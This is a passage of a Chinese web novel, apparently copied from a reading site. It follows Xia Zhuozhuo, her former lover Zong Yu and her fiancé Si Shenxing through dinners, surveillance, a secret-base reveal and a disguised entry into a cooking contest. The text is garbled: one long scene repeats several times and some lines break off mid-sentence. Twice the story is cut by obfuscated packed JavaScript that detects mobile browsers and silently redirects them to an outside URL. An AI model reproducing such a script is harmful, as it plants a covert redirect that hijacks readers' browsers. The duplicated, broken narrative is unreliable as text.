“妈。”夏灼灼打断她,说:“我知道您在担心什么,您放心,我不是那种糊涂的人,更不是那种会吃回头草的人。我跟他……曾经的确相爱过,但如今各自有了喜欢的人,从此就是两条平行线了。就算偶尔产生交点,也只会因为公事。” 夏太太踌躇片刻,说:“妈不担心你,妈知道你是个很有分寸的孩子。” “那你怎么还特意跟我说这些?” 夏太太是个很聪明细心的人,很少会说多余的话。 只听夏太太道:“我是不放心他。” “宗域?” “嗯。” “为什么不放心他?” “你没看到他的眼神吗?他看你的眼神,好像很伤心。我觉得,他虽然背叛了你,但似乎没有放心你,甚至,满心装着的人还是你。” “……”夏灼灼还真没注意宗域看她的眼神。 当时从看守所出来,她乍然看到宗域,很是吃了一惊。 除了吃惊和觉得命运弄人之外,再没有多余的情绪。 也没有仔细打量过他。 更别提注意他的眼神了。 此刻夏太太一提,夏灼灼的眉头皱起来。 她想,她知道司慎行当时为什么控制不住怒火打了宗域了。 换成是她——如果她当时注意到了宗域的眼神,说不定心里的仇恨又会被挑起来,也打他一顿。 背叛她、重伤她的人,何必又惺惺作态,表现出那种样子? 当时因为宗域,她发了疯,情绪严重失控,导致做出了几个错误的决策,也因此,间接让暗部受到重创。 如果不是谷仔及时找来催眠师,恐怕会造成更大的灾难。 单就这一点,她无法原谅当时的自己,也无法原谅宗域。 “他心里还有没有我,我 不在乎。”夏灼灼对夏太太说。 夏太太道:“只是他现在身份不一般了,我担心的,是他利用手上的职权,强行对你做些什么。” “不会的。”夏灼灼说:“他的目的是往上爬,女人对他来说,没有他的前途重要。他不会冒那么大风险的。” 夏太太点点头:“如果是这样最好。但你还是得留心。” 夏灼灼应声:“我会更小心的。” 她答应着,心情却莫名烦闷。 原因无他,是因为她觉得自己过去的眼光,实在太差。 怎么就看上了宗域这种人? 她明明眼光向来很精准的,所以才能找到并且收编谷仔、秋雨、田野、落九针这些人。 偏偏是在宗域身上狠狠栽了个跟头。 …… 司慎行那边,他目送夏灼灼回家之后,就给季恒打了个电话过去。 让他代替自己,跟宗域打交道。 “我?”季恒反问道:“那天他连你都不见,会见我?” “他那天不一定是不想见我,那天等他飞机落地的人太多了,他改坐火车过来的。” “行吧,那我试试。如果能牵上这条线,我一定帮你牵上。” 司慎行抿了下唇,说:“你注意着点,我今天把他打了,如果他对你撒气,你记得躲一躲。” “……???你打了宗域?你以为他是什么身份来沪城的?你不知道他背后是云家吗?” 司慎行预料到季恒会有一箩筐的话数落他,所以眼疾手快地直接挂断了电话。 安全起见,还把手机直接关机了。 第二个电话打过去被提示对方已关机的季恒直接给气笑了。 真是好兄弟! 但生气归生气,司慎行说的事,他还是一样照办。 他找到宗域的助理,告诉他,自己想请宗域吃顿晚饭。 助理知道季恒的身份,好心提醒他说:“今晚恐怕不行,已经有人约了督导。” “谁?” “这我就不方便透露了。不过我可以帮您问问,看能不能约到明天。” “多谢你了。” “应该的。有消息给您回电话。” “好。” 季恒挂断电话,吩咐手下给助理老家寄几样礼品。 又叫自己的人去查,宗域晚上约了谁。 结果还没查到,宗域的助理就给他回了电话。 “季少,晚上六点半,云中酒馆可以吗?” 季恒一愣,随即大喜。 “当然,当然可以。” “好,那就定这个时间了。” 挂断电话,季恒高兴之余也很是纳闷。 不是说约好了人吗? 怎么突然又把时间腾出来跟他吃饭了? 季恒自认自己没那么大的面子。 难道是看在司慎行的面子上? 可这个想法也很快被否定。 司慎行刚揍了宗域一顿,在宗域眼里,别说什么面子不面子的了,肯定记恨上他这个人了。 到底怎么个事? 但季恒很快不胡思乱想了,反正人家愿意跟他吃饭,那就是好消息。 宗域的办公室里。 他揉了揉长时间批文件导致酸痛的掌心。 孙峥跃留下来太多需要处理的事,他从踏上沪城的土地到现在,几乎都没怎么休息。 当然,这些事也没有那么紧急。 他只是需要转移自己的注意力。 否则,他会想起看守所大门口,夏灼灼跟司慎行十指相扣的那一幕。 他不能去想! 否则会发疯! 宗域用力抓紧了钢笔。 那名牌钢笔仿佛一根牙签似的,轻易就被他折断了。 助理进来的时候,正好看到这一幕。 他吓了一跳,正打算悄悄退出去,就被宗域点了名字。 “说吧,什么事。” 助理大着胆子抬眼看过去,就见宗域已经面色如常。 他不敢放松,新官上任三把火,一不小心就烧到自己身上。 “督导,我按照您说的,跟季少约好晚上六点半见面了。” “嗯。”宗域点点头。 助理迟疑了下,问:“窦少那边,是我打电话过去解释,还是您自己打?” “我来吧。” “好。” 助理应声,而后利落退出去了。 一直关上门,助理才敢长长呼出一口气。 他虽然自称是助理,其实也是办公室主任。 他之前是跟着孙峥跃做事的,孙峥跃的脾气也不算好,但他觉得他尚能伺候的过来。 但新来的这位,他莫名有点憷他。 总感觉他随时都要发火,可每每又会把火气压下去。 这比把火直接发出来更可怕。 就像是要被斩首了,那铡刀却迟迟不落下来。 你知道自己会死,却不知道什么时候才死。 等死 的滋味,实在不够好受。 办公室里。 宗域将折成两段的钢笔扔了,用自己的私人电话拨通了窦斯齐的号码。 “窦少。” “宗域,咱们老朋友了,怎么还喊我窦少?” 宗域拿着手机笑笑,说:“不客气点,一会儿没法跟你道歉。” “嗯?” “是晚上的饭局,我临时有点事,不如改成明天?” “我还以为什么事呢,行,那你先忙,定好了时间你跟我说一声就成。” “好。” 通话结束,宗域脸上的笑容瞬间消失不见了。 而电话那头的窦斯齐也是同样。 他放下手机,叫来手下取消晚上的包厢。 手下应声,随后疑惑地问道:“您晚上有别的安排?” “不是,是宗域。他说他晚上有别的事,饭局推到明天。” 手下立刻说:“一个靠女人爬到这个位置的东西,也敢跟您耍大牌?” “不至于。”窦斯齐漫不经心点了支烟,说:“应该是有别的事。你派个人跟着,看看他晚上跟谁见面。” “是。” …… 很快到了晚上。 宗域如约赴宴。 却在半路察觉到有人跟踪。 他眉心紧蹙,叫司机靠边停车,而后自己换乘公交。 跟踪他的人连忙也停车上公交,却在公交车开动后,发现宗域出现在公交车外面,重新又坐上了汽车。 “……”男人只得咬着牙跟窦斯齐汇报。 “没用的东西!” 窦斯齐臭骂了几句,直接挂断电话,叫心腹进来办公室。 “你去查一查宗域……” 宗域这一趟出去,还特意甩开他的人,也不知道去见谁,这让他莫名有点不安。 也怪古武堂的人都太蠢,被司慎行杀了个片甲不留,只剩下一些不中用的,而且还需要东躲西藏。 若非如此,派古武堂的人去跟踪,绝不会被发现。 ——司慎行做了安排,因而,外人只能查到古武堂是被司慎行剿灭的。 “查什么?”手下问。 窦斯齐没好气瞪过去。 “查什么都行!事无巨细,把他所有资料都查出来给我看!” “是!” 窦斯齐点了支烟,心口很烦闷。 另一边。 宗域已经见到了季恒。 小酒馆提前被季恒清场,两个人说话很方便。 季恒是个很会说话的人,虽然是第一次见宗域,但仿佛认识了他好久,半分没有让场子冷下来。 酒过三巡,宗域看似无意,提起了司慎行。 的滋味,实在不够好受。 办公室里。 宗域将折成两段的钢笔扔了,用自己的私人电话拨通了窦斯齐的号码。 “窦少。” “宗域,咱们老朋友了,怎么还喊我窦少?” 宗域拿着手机笑笑,说:“不客气点,一会儿没法跟你道歉。” “嗯?” “是晚上的饭局,我临时有点事,不如改成明天?” “我还以为什么事呢,行,那你先忙,定好了时间你跟我说一声就成。” “好。” 通话结束,宗域脸上的笑容瞬间消失不见了。 而电话那头的窦斯齐也是同样。 他放下手机,叫来手下取消晚上的包厢。 手下应声,随后疑惑地问道:“您晚上有别的安排?” “不是,是宗域。他说他晚上有别的事,饭局推到明天。” 手下立刻说:“一个靠女人爬到这个位置的东西,也敢跟您耍大牌?” “不至于。”窦斯齐漫不经心点了支烟,说:“应该是有别的事。你派个人跟着,看看他晚上跟谁见面。” “是。” …… 很快到了晚上。 宗域如约赴宴。 却在半路察觉到有人跟踪。 他眉心紧蹙,叫司机靠边停车,而后自己换乘公交。 跟踪他的人连忙也停车上公交,却在公交车开动后,发现宗域出现在公交车外面,重新又坐上了汽车。 “……”男人只得咬着牙跟窦斯齐汇报。 “没用的东西!” 窦斯齐臭骂了几句,直接挂断电话,叫心腹进来办公室。 “你去查一查宗域……” 宗域这一趟出去,还特意甩开他的人,也不知道去见谁,这让他莫名有点不安。 也怪古武堂的人都太蠢,被司慎行杀了个片甲不留,只剩下一些不中用的,而且还需要东躲西藏。 若非如此,派古武堂的人去跟踪,绝不会被发现。 ——司慎行做了安排,因而,外人只能查到古武堂是被司慎行剿灭的。 “查什么?”手下问。 窦斯齐没好气瞪过去。 “查什么都行!事无巨细,把他所有资料都查出来给我看!” “是!” 窦斯齐点了支烟,心口很烦闷。 另一边。 宗域已经见到了季恒。 小酒馆提前被季恒清场,两个人说话很方便。 季恒是个很会说话的人,虽然是第一次见宗域,但仿佛认识了他好久,半分没有让场子冷下来。 酒过三巡,宗域看似无意,提起了司慎行。 的滋味,实在不够好受。 办公室里。 宗域将折成两段的钢笔扔了,用自己的私人电话拨通了窦斯齐的号码。 “窦少。” “宗域,咱们老朋友了,怎么还喊我窦少?” 宗域拿着手机笑笑,说:“不客气点,一会儿没法跟你道歉。” “嗯?” “是晚上的饭局,我临时有点事,不如改成明天?” “我还以为什么事呢,行,那你先忙,定好了时间你跟我说一声就成。” “好。” 通话结束,宗域脸上的笑容瞬间消失不见了。 而电话那头的窦斯齐也是同样。 他放下手机,叫来手下取消晚上的包厢。 手下应声,随后疑惑地问道:“您晚上有别的安排?” “不是,是宗域。他说他晚上有别的事,饭局推到明天。” 手下立刻说:“一个靠女人爬到这个位置的东西,也敢跟您耍大牌?” “不至于。”窦斯齐漫不经心点了支烟,说:“应该是有别的事。你派个人跟着,看看他晚上跟谁见面。” “是。” …… 很快到了晚上。 宗域如约赴宴。 却在半路察觉到有人跟踪。 他眉心紧蹙,叫司机靠边停车,而后自己换乘公交。 跟踪他的人连忙也停车上公交,却在公交车开动后,发现宗域出现在公交车外面,重新又坐上了汽车。 “……”男人只得咬着牙跟窦斯齐汇报。 “没用的东西!” 窦斯齐臭骂了几句,直接挂断电话,叫心腹进来办公室。 “你去查一查宗域……” 宗域这一趟出去,还特意甩开他的人,也不知道去见谁,这让他莫名有点不安。 也怪古武堂的人都太蠢,被司慎行杀了个片甲不留,只剩下一些不中用的,而且还需要东躲西藏。 若非如此,派古武堂的人去跟踪,绝不会被发现。 ——司慎行做了安排,因而,外人只能查到古武堂是被司慎行剿灭的。 “查什么?”手下问。 窦斯齐没好气瞪过去。 “查什么都行!事无巨细,把他所有资料都查出来给我看!” “是!” 窦斯齐点了支烟,心口很烦闷。 另一边。 宗域已经见到了季恒。 小酒馆提前被季恒清场,两个人说话很方便。 季恒是个很会说话的人,虽然是第一次见宗域,但仿佛认识了他好久,半分没有让场子冷下来。 酒过三巡,宗域看似无意,提起了司慎行。 的滋味,实在不够好受。 办公室里。 宗域将折成两段的钢笔扔了,用自己的私人电话拨通了窦斯齐的号码。 “窦少。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“查什么都行!事无巨细,把他所有资料都查出来给我看!” “是!” 窦斯齐点了支烟,心口很烦闷。 另一边。 宗域已经见到了季恒。 小酒馆提前被季恒清场,两个人说话很方便。 季恒是个很会说话的人,虽然是第一次见宗域,但仿佛认识了他好久,半分没有让场子冷下来。 酒过三巡,宗域看似无意,提起了司慎行。 的滋味,实在不够好受。 办公室里。 宗域将折成两段的钢笔扔了,用自己的私人电话拨通了窦斯齐的号码。 “窦少。” “宗域,咱们老朋友了,怎么还喊我窦少?” 宗域拿着手机笑笑,说:“不客气点,一会儿没法跟你道歉。” “嗯?” “是晚上的饭局,我临时有点事,不如改成明天?” “我还以为什么事呢,行,那你先忙,定好了时间你跟我说一声就成。” “好。” 通话结束,宗域脸上的笑容瞬间消失不见了。 而电话那头的窦斯齐也是同样。 他放下手机,叫来手下取消晚上的包厢。 手下应声,随后疑惑地问道:“您晚上有别的安排?” “不是,是宗域。他说他晚上有别的事,饭局推到明天。” 手下立刻说:“一个靠女人爬到这个位置的东西,也敢跟您耍大牌?” “不至于。”窦斯齐漫不经心点了支烟,说:“应该是有别的事。你派个人跟着,看看他晚上跟谁见面。” “是。” …… 很快到了晚上。 宗域如约赴宴。 却在半路察觉到有人跟踪。 他眉心紧蹙,叫司机靠边停车,而后自己换乘公交。 跟踪他的人连忙也停车上公交,却在公交车开动后,发现宗域出现在公交车外面,重新又坐上了汽车。 “……”男人只得咬着牙跟窦斯齐汇报。 “没用的东西!” 窦斯齐臭骂了几句,直接挂断电话,叫心腹进来办公室。 “你去查一查宗域……” 宗域这一趟出去,还特意甩开他的人,也不知道去见谁,这让他莫名有点不安。 也怪古武堂的人都太蠢,被司慎行杀了个片甲不留,只剩下一些不中用的,而且还需要东躲西藏。 若非如此,派古武堂的人去跟踪,绝不会被发现。 ——司慎行做了安排,因而,外人只能查到古武堂是被司慎行剿灭的。 “查什么?”手下问。 窦斯齐没好气瞪过去。 “查什么都行!事无巨细,把他所有资料都查出来给我看!” “是!” 窦斯齐点了支烟,心口很烦闷。 另一边。 宗域已经见到了季恒。 小酒馆提前被季恒清场,两个人说话很方便。 季恒是个很会说话的人,虽然是第一次见宗域,但仿佛认识了他好久,半分没有让场子冷下来。 酒过三巡,宗域看似无意,提起了司慎行。 的滋味,实在不够好受。 办公室里。 宗域将折成两段的钢笔扔了,用自己的私人电话拨通了窦斯齐的号码。 “窦少。” “宗域,咱们老朋友了,怎么还喊我窦少?” 宗域拿着手机笑笑,说:“不客气点,一会儿没法跟你道歉。” “嗯?” “是晚上的饭局,我临时有点事,不如改成明天?” “我还以为什么事呢,行,那你先忙,定好了时间你跟我说一声就成。” “好。” 通话结束,宗域脸上的笑容瞬间消失不见了。 而电话那头的窦斯齐也是同样。 他放下手机,叫来手下取消晚上的包厢。 手下应声,随后疑惑地问道:“您晚上有别的安排?” “不是,是宗域。他说他晚上有别的事,饭局推到明天。” 手下立刻说:“一个靠女人爬到这个位置的东西,也敢跟您耍大牌?” “不至于。”窦斯齐漫不经心点了支烟,说:“应该是有别的事。你派个人跟着,看看他晚上跟谁见面。” “是。” …… 很快到了晚上。 宗域如约赴宴。 却在半路察觉到有人跟踪。 他眉心紧蹙,叫司机靠边停车,而后自己换乘公交。 跟踪他的人连忙也停车上公交,却在公交车开动后,发现宗域出现在公交车外面,重新又坐上了汽车。 “……”男人只得咬着牙跟窦斯齐汇报。 “没用的东西!” 窦斯齐臭骂了几句,直接挂断电话,叫心腹进来办公室。 “你去查一查宗域……” 宗域这一趟出去,还特意甩开他的人,也不知道去见谁,这让他莫名有点不安。 也怪古武堂的人都太蠢,被司慎行杀了个片甲不留,只剩下一些不中用的,而且还需要东躲西藏。 若非如此,派古武堂的人去跟踪,绝不会被发现。 ——司慎行做了安排,因而,外人只能查到古武堂是被司慎行剿灭的。 “查什么?”手下问。 窦斯齐没好气瞪过去。 “查什么都行!事无巨细,把他所有资料都查出来给我看!” “是!” 窦斯齐点了支烟,心口很烦闷。 另一边。 宗域已经见到了季恒。 小酒馆提前被季恒清场,两个人说话很方便。 季恒是个很会说话的人,虽然是第一次见宗域,但仿佛认识了他好久,半分没有让场子冷下来。 酒过三巡,宗域看似无意,提起了司慎行。 第232章 互相坦诚相见 “你跟司先生是朋友吧?司先生这次来沪城,打算待多久?”宗域问。 季恒晃着手里的高脚杯说:“少则一年,多则五年。” 宗域有些惊讶。 “怎么待这么久?” 大概是觉得这话不太妥当,又补充道:“司先生日理万机,能放得下京都的事情,在沪城玩这么久?” “不是玩。”季恒说:“是做两件大事。” “哪两件?” “北方的生意,阿行已经整理的差不多,他不在那边,也有人替他料理。所以他这几年的任务,就是把南边的市场做起来,扩大商业版图当然要费一点时间。” “那另一件事呢?” 季恒笑了笑,露出一口洁白的牙。 亮的晃人。 “另一件事么……是私事。” 这钓足了宗域的胃口。 他知道自己不该这么急切,但他在这件事上,真的控制不住。 “什么私事?”他问。 季恒又狡黠地笑了下,说:“域哥,我什么事都告诉你,你也得先告诉我一件事。这样才算公平,是不是?” 宗域心里明知这是一个圈套,却还是点头。 “你想知道什么?” “很简单,我只想知道,咱们以后是能继续做朋友,还是……只是一顿饭的关系?” 明着,是问他们两个人的关系。 暗地里,问的是宗域到底站在窦、党的哪一派。 宗域深深看了季恒一眼。 这人,着实会伪装。 以为是个呆子,其实是只老狐狸。 他小看他了。 不过这个问题倒也不难回答。 “我们是朋友,还是酒肉朋友,得看你们,而不是看我。” “这话怎么说?” “我是上头派来临时顶替孙峥跃的,只要你们不妨碍我的工作,我们彼此就可以相安无事。” 相安无事…… 季恒仔细分辨了下这话,随后举了举杯。 “放心,我们也想跟您做朋友呐!绝不会耽误域哥你的正事。” 宗域没喝酒。 他只继续刚才的问题。 “司慎行到底要办什么私事?” “看不出来,域哥对人家的私事这么感情线。” 宗域心中一恼。 正要发作,季恒开口道:“其实这私事嘛,就是他的人生大事。” 宗域眼皮轻轻一跳。 “什么人生大事?” 季恒道:“昨天你在看守所门口不是见过了吗?阿行的未婚妻。他来沪城还是为了追妻的。他早就对夏家的七小姐一见钟情眼巴巴跑过来追人家的。好在皇天不负有心人两个有情人终成眷属了。” “……” 从开始到现在一滴酒都没沾的宗域拿起了酒杯一饮而尽。 季恒鼓掌。 “域哥好酒量!来我再给你满上!” 宗域没有拒绝。 他的酒量不算太好很快就感到一阵头疼。 “我先回去了。” 意识迷迷糊糊间他被助理扶进了车里之后再没有知觉了。 而自称千杯不醉的季恒很快坐车去见了司慎行。 “他一直追问你和夏小姐的事。后来喝醉了迷迷糊糊喊了声‘灼灼’。” 司慎行的眉头紧锁。 “他有什么资格这么喊她?” “我的亲爹啊现在是纠结这种事的时候吗?” 司慎行瞪他一眼。 “不是你自己说这些话让我生气吗?” 季恒叹气。 “行我的错好吧?” 又说起正事来:“按照他的意思只要我们别惹恼他他就是中立派。虽然不会帮我们但也不会害我们。” 司慎行冷声道:“他想害我们也得有那个本事!” 季恒提醒他:“他不用害我们只需要站到窦家那边就会让我们很棘手。” 司慎行张了张嘴这次却是没有反驳。 只觉得宗域更讨厌了。 “不过……”季恒说:“我看的出来他对夏小姐还有感情。” “你想说什么?” “我出个馊主意。如果想让他站在党家这边让夏小姐出面跟他谈或许是最好也是最顺利的办法。” “的确是个馊主意!”司慎行狠狠瞪了季恒一眼说:“这种话我不想再听到第二遍。” 季恒就猜到会这样。 他叹了口气说:“我累了喝太多酒了我要回去躺着了。” 说完就要走。 “站住。” “干嘛?” “灼灼跟我提起过她让你嫂子跟着你接触你们聊过了吗?” 季恒点头:“她拜托我做一件事我已经开始着手帮她了。” 司慎行“嗯”了声说:“她跟我说甄凝值得信任 达成之后,你就不能继续留在沪城了。” 季恒露牙笑起来。 “怎么?你舍不得我?” “赶紧滚!回去把你的烤瓷牙给我翘了,晃眼!” “……口是心非的臭男人!” 说完,见司慎行的脸色更难看了,他赶忙收起自己的烤瓷牙跑了。 很快阿麦进来,提醒司慎行已经快十点了,该回家了。 司慎行说他还不困。 阿麦苦笑一声,说:“您不下班,秘书处没人敢下班。” 又说:“我安排好金勺子比赛的事情了,您要不要下班之后,跟夏小姐去说一声?” 司慎行果然放下了手里的签字笔。 “我先下班了,自己开车,你直接回枫林晚吧。” “是。” 阿麦应声,眼底是压不住的得意。 他跟霍刚打了赌,赌司慎行能不能在十点之前下班。 他搬出了夏灼灼,果然赌赢了。 阿麦朝进门的霍刚眨眨眼。 霍刚咬牙切齿。 “你出阴招!” “把夏小姐搬出来,算什么阴招?走了!说好了的,今晚消费由你买单!” 霍刚只得认命,不过提起了谷仔。 “要带上你弟弟吗?” 他挺喜欢谷仔,这弟弟很机灵,说话也好听——至少比阿麦说话中听。 另外,讨好了谷仔,就等于讨好了夏小姐的娘家人,一举两得。 阿麦说要问问谷仔再说。 于是打电话去问,却得知,最近谷仔都不会再出门。 “我要钻研厨艺。”他说。 阿麦了然:“那你加油,比赛结束了,我再叫你出来吃饭。” “好的,哥。” 挂了电话,霍刚疑惑地问:“什么比赛?” 阿麦不告诉他。 “到时候你就知道了。” 另一边。 司慎行离开公司后,先去了一趟附近的花店,然后才去找夏灼灼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470836|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 到了夏家,却得知夏灼灼出门去了。 他也不恼,很有耐心地打电话问夏灼灼在哪儿。 夏灼灼那边沉默两秒,突然说:“我给你一个地址,你过来吧。一个人过来,别带人,我在门口等你。” 司慎行没多想,收到地址之后,开车前往。 约莫一小时后,他到了目的地。 是郊区的一个废弃工厂。 他终于有些纳闷,夏灼灼 怎么会在这里? 但心里隐隐有了猜测。 他心跳莫名加快。 下了车,夏灼灼的声音传过来。 “这儿!” 她从一盏路灯下走过来,浑身被橘黄的灯光笼罩着,显得格外温柔。 司慎行心念一动,迎上前就用力把她抱住,随即吻了下去。 这一个吻,格外炙热。 夏灼灼和司慎行都不是什么太愚蠢的人,彼此明白,司慎行这一趟过来,他们的关系会更近一步。 ——因夏灼灼把暗部的地址告诉了他。 这个吻,像一场暴风雨,轰轰烈烈,长久才停歇。 夏灼灼都有些喘不过气了。 还是就着司慎行的手臂才站稳。 “要进去看看吗?”夏灼灼主动邀请。 司慎行却摇头拒绝了。 “不用!这样已经很好!灼灼,我绝不会辜负你!” 他早已经猜到,夏灼灼是暗部的老大。 只是他答应过她不去查她的任何事。 而如今,她把她的一切都公布在他面前了。 可夏灼灼放心他,暗部的其他人却不一定都放心他,毕竟他是个外人,又身份特殊。 所以他不叫夏灼灼为难。 夏灼灼肯迈开这一步,他已经很感动。 在这之前,他还很担心宗域会再次把夏灼灼抢走。 可现在,他毫不担心了! 她一片赤诚展露在他面前! 宗域再怎么样,也绝不是他对手。 “谢谢你,灼灼。”他吻了吻她的额头,说:“谢谢你信任我。” 夏灼灼微微一笑,眼神明亮。 “你也很信任我,你把你的钱都给了我。” 信托基金,已经全部到她的手里,哪怕他们还没结婚。 司慎行如此有诚意,她也不能什么都不回馈给她。 因而,她把她最在意的东西——暗部,告知了他。 司慎行也很有分寸,没有真的进去。 这个男人,真的很为她考虑。 夏灼灼打了个电话给谷仔,说自己直接回去了,而后才跟司慎行上车。 司慎行虽然早已经猜到她的身份,如今确定之后,仍然感到很震惊。 “没人想的到,暗部的首领,竟然是个女人。” 夏灼灼斜他一眼。 “怎么?看不起女人?” “我只是佩服你。你被拐卖到乡下,从一无所有走到现在,吃了不少苦吧?” 夏灼灼莫名有些鼻酸。 她想到网上一句话:别人在意你飞的高不高,而他在意的是她飞的累不累。 “都过来了。”她说。 两人开车回到夏家,在车上又是一番缠绵。 但司慎行很克制,每到两人都快坚持不住的时候,他用所有理智让自己停步。 “我过来,是告诉你,谷仔的事情办成了,他可以去参加金勺子比赛了。” 第233章 又遇宗域 夏灼灼很欣喜,在他唇上蜻蜓点水啄了一下。 “多谢你了!这件事办起来不容易。” 众所周知,金勺子比赛,明面上是厨艺比赛,其实是沪城的上流圈为自家女儿铺路。 所谓的厨艺比赛,其实应该叫名媛比赛。 既然是名媛,那首先第一个要求,就是得是个女人。 这是几十年的老规矩了。 司慎行要帮谷仔参加比赛,就得按照女人的身份为谷仔报名。 他得替谷仔伪造一个名媛的身份,还要买通评委以及其他参赛者的家庭,以防出现男人身份被揭穿。 从上到下,都得打点。 她深知这件事很繁琐。 司慎行紧紧握住她的手,说:“再不容易,只要为你办,我就不觉得麻烦。我很高兴,你遇上事,第一个想到我。以后再遇到任何麻烦,你也要第一个想到我,我乐意为你做这些事。” 夏灼灼眼眶有些发酸——是感动的。 她点头,说:“好,只要你不嫌麻烦,我连买牙膏牙刷这种小事都找你。” 司慎行吻了吻她的鼻尖,又吻了吻她戴在中指上的订婚戒指。 “乐意至极。” …… 事情定下来,夏灼灼给谷仔打了个电话,告诉他一切安排妥当,只等他去比赛了。 ——当初谷仔说自己出了个能讨好秋老爷子的蠢主意,就是男扮女装,去参加金勺子大赛,赢回秋老爷子早年去当铺当出去的东西。 那是第一名才有的奖品。 谷仔平时就会做些菜,加上夏灼灼和秋雨两个厨艺大亨在旁边耳濡目染,如今又有夏灼灼亲自教学,他已经学了个七七八八。 虽然跟秋雨和夏灼灼比,很是不够看,但参加一个“名媛比赛”已经够了。 万事俱备,只等那一天到来。 夏灼灼提前一天,腾出一整天的时间,为谷仔制作**。 跟之前为**做的**不同,这次她做的更细致,也能保持更长久的时候不破裂。 毕竟是要上电视台,虽然是沪城当地的电视台,不能让镜头瞧出端倪来。 其实,夏灼灼也跟谷仔提议过,要不让她去参加比赛,把奖品赢下来之后,让谷仔买过去,然后谷仔再送给秋老爷子。 但谷仔是个下定决心就不会更改决定的人,他觉得只有他自己去比赛赢下奖品,才算诚心诚意。 夏灼灼只得由他去。 只希望这一番折腾真的有 用。 如果有用,那多付出一些也是值得的。 夏灼灼真心希望秋雨和谷仔的感情能顺遂,不希望他们经历坎坷。 她淋过雨,所以想要尽可能地为别人挡雨。 转眼便到了比赛当天。 这期间没发生任何事,风平浪静的。 安静到夏灼灼反而不安。 所以她派了田野,亲自去盯着窦斯齐。 田野做事很谨慎,尤其擅长跟踪,但并未发现任何端倪,只报告了一件事。 “他跟新建的那栋高科技楼的老板走得很近,可能两个人有合作。” 夏灼灼记下了,叫谷仔去查。 果然查出,那栋楼,中途窦斯齐入了股。 只是那栋楼有什么特别之处,夏灼灼没看出来。 但她多留了个心眼,叫落九针去接近那栋楼的老板。 那位老板有严重的颈椎问题,落九针替他治疗,缓解了他不少疼痛,两个人因此常来往。 但仍旧没发现那栋楼有什么特别的地方。 “希望只是我想多了。”夏灼灼跟司慎行这么说。 司慎行道:“让你觉得不舒服的,那肯定就是有问题,只是我们没找出来而已。你放心,我想办法,派个人进那里工作。” 他做事很迅速,安排了两个人在大楼里做清洁工。 大楼已经建成,正好在招清洁工。 他们里里外外,把大楼调查清楚。 这一天,正是比赛的当天。 夏灼灼把谷仔参加金勺子比赛的事情告诉了秋雨。 秋雨大惊。 “他疯了,您也疯了?他一个男人……” “我替他做了面具。” “……他其实不用这样的,要是传出去,他多尴尬啊?” 女扮男装,去参加名媛比赛,这得下很大决心。 一般男人是不愿意这么去做的。 秋雨感动之余,也气谷仔这种事都不跟她商量。 但夏灼灼很快把她哄好。 “他这么做,是想表示自己的诚心。一个人,当他问你要不要这样东西的时候,就不是真的想给。而谷仔这样,不问你,直接去帮你拿来的,才是真的想给你这件东西的人。” 秋雨听懂了。 “只是他的厨艺,能夺冠吗?” 夏灼灼笑道:“你以为我这段时间早出晚归是去干什么了?” “你在教他厨艺?” “嗯!” “ 他还真走运,居然能让你亲自教他。我不管,你回头也要再教我两招。” “……” 两个女生说私房话间,谷仔打电话过来了。 夏灼灼要陪他一起去参赛,方便万一面具出现问题,她可以及时帮忙挽救。 “那我出门了,你记得跟你爷爷说一声,让他收看这个比赛。” 虽然是沪城本地的电视台,但网上也能搜到这个节目。 秋雨应声说好。 两个小时后,夏灼灼和谷仔一起出现在了沪城电视台。 “她们”拿着号码牌往里走。 夏灼灼作为谷仔的助理,陪同在侧。 却在这时,看到了宗域。 夏灼灼微微吃惊。 宗域也在这时候抬眼,朝她看过来。 夏灼灼迅速别开了视线。 他们如今的关系,只适合当路人。 当做谁也不认识谁,是最好的,免得彼此撕开对方丑陋的一面。 她不喜欢跟人当众争吵,她觉得这样很丑陋。 却没想到,宗域朝她直直走过来。 谷仔下意识要挡在夏灼灼面前,被夏灼灼不着痕迹拉开,并且递给他一个提醒的眼神。 ——谷仔现在是个女人。 而这个女人,是不知道她跟宗域的关系的。 谷仔有点担心她,但到底还是按照她说的,退开了。 “小灼。”他喊她。 夏灼灼的心口,骤然一疼。 不是因为宗域,而是因为过去的一些记忆。 那些被催眠而忘记的记忆,仿佛随着这一声“小灼”,慢慢涌现出来。 夏灼灼拿出最大的意志力,让自己平静地看向宗域,而非仇恨或是厌恶。 “宗先生有什么事吗?” 宗域面色一僵。 他西装袖子下的手,骤然收紧。 他们之间……不该这样的。 他感觉有无尽的怒火,从胸膛里挣脱开来,几乎要把他勒死。 “我们能私下聊聊吗?”他说:“五分钟就好。” “没必要吧。我们马上要入场了。下次我带我的未婚夫一起陪宗先生吃饭。” 说完,她直接走了。 宗域几乎要控制不住追上去。 还是助理提醒他:“赵台长在等您了。” 他这才回神,没有追上去,往另一个方向走。 他跟赵台长聊了点公事,随后装若无意地开口问:“我看到来了很 多人,说是比赛,比什么赛?” 赵台长很想跟这位督导打好关系,正愁没话题聊呢,连忙提起了金勺子比赛。 “这是我们沪城的惯例了,每年都会举办。去年的冠军是杜家的千金,今年不知道花落谁家。您要是感兴趣,我可以安排您做评委。” 赵台长只是随口一聊。 毕竟宗域日理万机。 却没想到,宗域竟然答应了。 “我今天正好没事,也见见世面。” 赵台长大吃一惊,随后喜不自禁。 “那我立刻安排。您能当评委,是本届参赛选手的荣幸。” “好。” …… 另一边。 夏灼灼还不知道这件事。 她正在替谷仔上妆,谷仔现在的新名字叫“秋雪”,他自己取的,非要叫这个。 却在这时,一道熟悉的声音响起。 “灼灼?还真是你!” 夏灼灼听出了对方的声音,微笑着转过头。 正是杜馨月。 “你怎么来了?”夏灼灼问。 “我还要问你呢,你怎么来了?”杜馨月一边说,一边打量谷仔。 